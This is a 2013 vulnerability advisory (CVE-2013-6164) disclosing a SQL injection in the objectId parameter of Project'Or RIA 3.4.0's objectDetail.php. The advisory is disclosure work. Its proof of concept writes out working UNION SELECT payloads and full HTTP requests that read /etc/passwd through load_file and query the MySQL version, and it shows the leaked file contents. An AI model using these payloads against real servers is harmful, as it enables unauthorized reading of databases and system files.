266 lines
No EOL
8.2 KiB
Text
266 lines
No EOL
8.2 KiB
Text
=============================================
|
|
INTERNET SECURITY AUDITORS ALERT 2013-017
|
|
- Original release date: July 26th, 2013
|
|
- Last revised: July 26th, 2013
|
|
- Discovered by: Vicente Aguilera Diaz
|
|
- Severity: 6.8/10 (CVSSv2 Base Scored)
|
|
- CVE-ID: CVE-2013-6164
|
|
=============================================
|
|
|
|
I. VULNERABILITY
|
|
-------------------------
|
|
SQL Injection vulnerability in "Project'Or RIA" allow arbitrary access
|
|
to the database and the file system.
|
|
|
|
|
|
II. BACKGROUND
|
|
-------------------------
|
|
Project'Or RIA is an open source Project Management Software, trying to
|
|
gather in a single tool every functionality needed to organize your
|
|
projects.
|
|
The objective is to keep it simple, easy to use on a day to day
|
|
activity, while covering most of the project management functionalities.
|
|
|
|
|
|
III. DESCRIPTION
|
|
-------------------------
|
|
Has been detected a SQL Injection vulnerability in the "Affectations"
|
|
functionality of this application. The affected resource and parameter
|
|
are the
|
|
|
|
following:
|
|
|
|
Resource:
|
|
/view/objectDetail.php
|
|
|
|
Parameter:
|
|
objectId
|
|
|
|
This vulnerability allows the execution of arbitrary SQL code against
|
|
the database, and arbitrary access to the file system.
|
|
|
|
|
|
IV. PROOF OF CONCEPT
|
|
-------------------------
|
|
When a user access to the "Environmental parameters / Affectations"
|
|
functionality, is generated a output with a list of resources. If a user
|
|
access to the de
|
|
|
|
tails of a resource, is generated a request as follows:
|
|
|
|
POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
|
|
Host: <projectorria-server>
|
|
|
|
objectClass=Affectation&objectId=000042&listIdFilter=&listFilterClause=
|
|
|
|
where the "objectId" value contains the resource identifier.
|
|
|
|
A malicious user can inject arbitrary SQL code in the <objecId>
|
|
parameters of this request. For example:
|
|
|
|
1. Accessing the file system
|
|
1.1 /etc/passwd
|
|
Modified parameter:
|
|
<objectId>
|
|
|
|
Value:
|
|
|
|
99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual)
|
|
|
|
Request:
|
|
|
|
POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
|
|
Host: <projectorria-server>
|
|
|
|
objectClass=Affectation&objectId=99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual)
|
|
|
|
&listIdFilter=&listFilterClause=
|
|
|
|
Response:
|
|
HTTP/1.1 200 OK
|
|
|
|
...
|
|
<span dojoType="dijit.form.TextBox" type="text" id="id" name="id"
|
|
class="display" readonly tabindex="-1" style="width: 75px;"
|
|
|
|
value="root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
bin:x:2:2:bin:/bin:/bin/sh
|
|
sys:x:3:3:sys:/dev:/bin/sh
|
|
sync:x:4:65534:sync:/bin:/bin/sync
|
|
games:x:5:60:games:/usr/games:/bin/sh
|
|
man:x:6:12:man:/var/cache/man:/bin/sh
|
|
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
|
|
mail:x:8:8:mail:/var/mail:/bin/sh
|
|
news:x:9:9:news:/var/spool/news:/bin/sh
|
|
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
|
|
proxy:x:13:13:proxy:/bin:/bin/sh
|
|
www-data:x:33:33:www-data:/var/www:/bin/sh
|
|
backup:x:34:34:backup:/var/backups:/bin/sh
|
|
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
|
|
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
|
|
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
|
|
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
|
|
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
|
|
syslog:x:101:103::/home/syslog:/bin/false
|
|
whoopsie:x:102:104::/nonexistent:/bin/false
|
|
landscape:x:103:105::/var/lib/landscape:/bin/false
|
|
messagebus:x:104:108::/var/run/dbus:/bin/false
|
|
ntpd:x:105:111::/var/run/openntpd:/bin/false
|
|
postfix:x:106:113::/var/spool/postfix:/bin/false
|
|
babynus:x:1000:1000::/home/babynus:/bin/bash
|
|
bind:x:107:115::/var/cache/bind:/bin/false
|
|
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
|
|
zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false
|
|
mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false
|
|
nagios:x:111:118::/var/lib/nagios:/bin/false
|
|
smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
|
|
smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
|
|
postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
|
|
" ></span>
|
|
...
|
|
|
|
Obtained info (/etc/passw):
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
bin:x:2:2:bin:/bin:/bin/sh
|
|
sys:x:3:3:sys:/dev:/bin/sh
|
|
sync:x:4:65534:sync:/bin:/bin/sync
|
|
games:x:5:60:games:/usr/games:/bin/sh
|
|
man:x:6:12:man:/var/cache/man:/bin/sh
|
|
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
|
|
mail:x:8:8:mail:/var/mail:/bin/sh
|
|
news:x:9:9:news:/var/spool/news:/bin/sh
|
|
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
|
|
proxy:x:13:13:proxy:/bin:/bin/sh
|
|
www-data:x:33:33:www-data:/var/www:/bin/sh
|
|
backup:x:34:34:backup:/var/backups:/bin/sh
|
|
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
|
|
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
|
|
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
|
|
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
|
|
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
|
|
syslog:x:101:103::/home/syslog:/bin/false
|
|
whoopsie:x:102:104::/nonexistent:/bin/false
|
|
landscape:x:103:105::/var/lib/landscape:/bin/false
|
|
messagebus:x:104:108::/var/run/dbus:/bin/false
|
|
ntpd:x:105:111::/var/run/openntpd:/bin/false
|
|
postfix:x:106:113::/var/spool/postfix:/bin/false
|
|
babynus:x:1000:1000::/home/babynus:/bin/bash
|
|
bind:x:107:115::/var/cache/bind:/bin/false
|
|
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
|
|
zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false
|
|
mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false
|
|
nagios:x:111:118::/var/lib/nagios:/bin/false
|
|
smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
|
|
smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
|
|
postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
|
|
|
|
|
|
2. Obtaining database private information
|
|
2.1 Obtaining TABLE_NAME from INFORMATION_sCHEMA.TABLES
|
|
Modified parameter:
|
|
<objectId>
|
|
|
|
Value:
|
|
|
|
99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual)
|
|
|
|
Request:
|
|
|
|
POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
|
|
Host: <projectorria-server>
|
|
|
|
objectClass=Affectation&objectId=99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual)
|
|
|
|
&listIdFilter=&listFilterClause=
|
|
|
|
Response:
|
|
HTTP/1.1 200 OK
|
|
|
|
<span dojoType="dijit.form.TextBox" type="text" id="id" name="id"
|
|
class="display" readonly tabindex="-1" style="width: 75px;" value="5.5.24-
|
|
|
|
0ubuntu0.12.04.1" >
|
|
|
|
Obtained info (MySQL Version):
|
|
5.5.24-0ubuntu0.12.04.1
|
|
|
|
|
|
V. BUSINESS IMPACT
|
|
-------------------------
|
|
An attacker can execute arbitrary SQL code and gain access to private
|
|
information stored in the database or the file system.
|
|
|
|
|
|
VI. SYSTEMS AFFECTED
|
|
-------------------------
|
|
Tested in Project'Or RIA v3.4.0
|
|
|
|
|
|
VII. SOLUTION
|
|
-------------------------
|
|
Pending.
|
|
|
|
|
|
VIII. REFERENCES
|
|
-------------------------
|
|
http://projectorria.org
|
|
http://www.isecauditors.com
|
|
|
|
|
|
IX. CREDITS
|
|
-------------------------
|
|
This vulnerability has been discovered by Vicente Aguilera Diaz
|
|
(vaguilera (at) isecauditors (dot) com).
|
|
|
|
|
|
X. REVISION HISTORY
|
|
-------------------------
|
|
July 26, 2013: Initial release
|
|
|
|
|
|
XI. DISCLOSURE TIMELINE
|
|
-------------------------
|
|
July 25, 2013: Vulnerability acquired by Internet Security Auditors
|
|
(www.isecauditors.com).
|
|
September 26, 2013: Sent to project support.
|
|
November 03, 2013: New release and disclosure.
|
|
|
|
|
|
|
|
XII. LEGAL NOTICES
|
|
-------------------------
|
|
The information contained within this advisory is supplied "as-is" with
|
|
no warranties or guarantees of fitness of use or otherwise. Internet
|
|
Security
|
|
|
|
Auditors accepts no responsibility for any damage caused by the use or
|
|
misuse of this information.
|
|
|
|
|
|
XIII. ABOUT
|
|
-------------------------
|
|
Internet Security Auditors is a Spain based leader in web application
|
|
testing, network security, penetration testing, security compliance
|
|
implementation and
|
|
|
|
assessing. Our clients include some of the largest companies in areas
|
|
such as finance, telecommunications, insurance, ITC, etc. We are vendor
|
|
independent
|
|
|
|
provider with a deep expertise since 2001. Our efforts in R&D include
|
|
vulnerability research, open security project collaboration and
|
|
whitepapers,
|
|
|
|
presentations and security events participation and promotion. For
|
|
further information regarding our security services, contact us.
|
|
|
|
|
|
XIV. FOLLOW US
|
|
-------------------------
|
|
You can follow Internet Security Auditors, news and security advisories at:
|
|
https://www.facebook.com/ISecAuditors
|
|
https://twitter.com/ISecAuditors
|
|
http://www.linkedin.com/company/internet-security-auditors
|
|
http://www.youtube.com/user/ISecAuditors |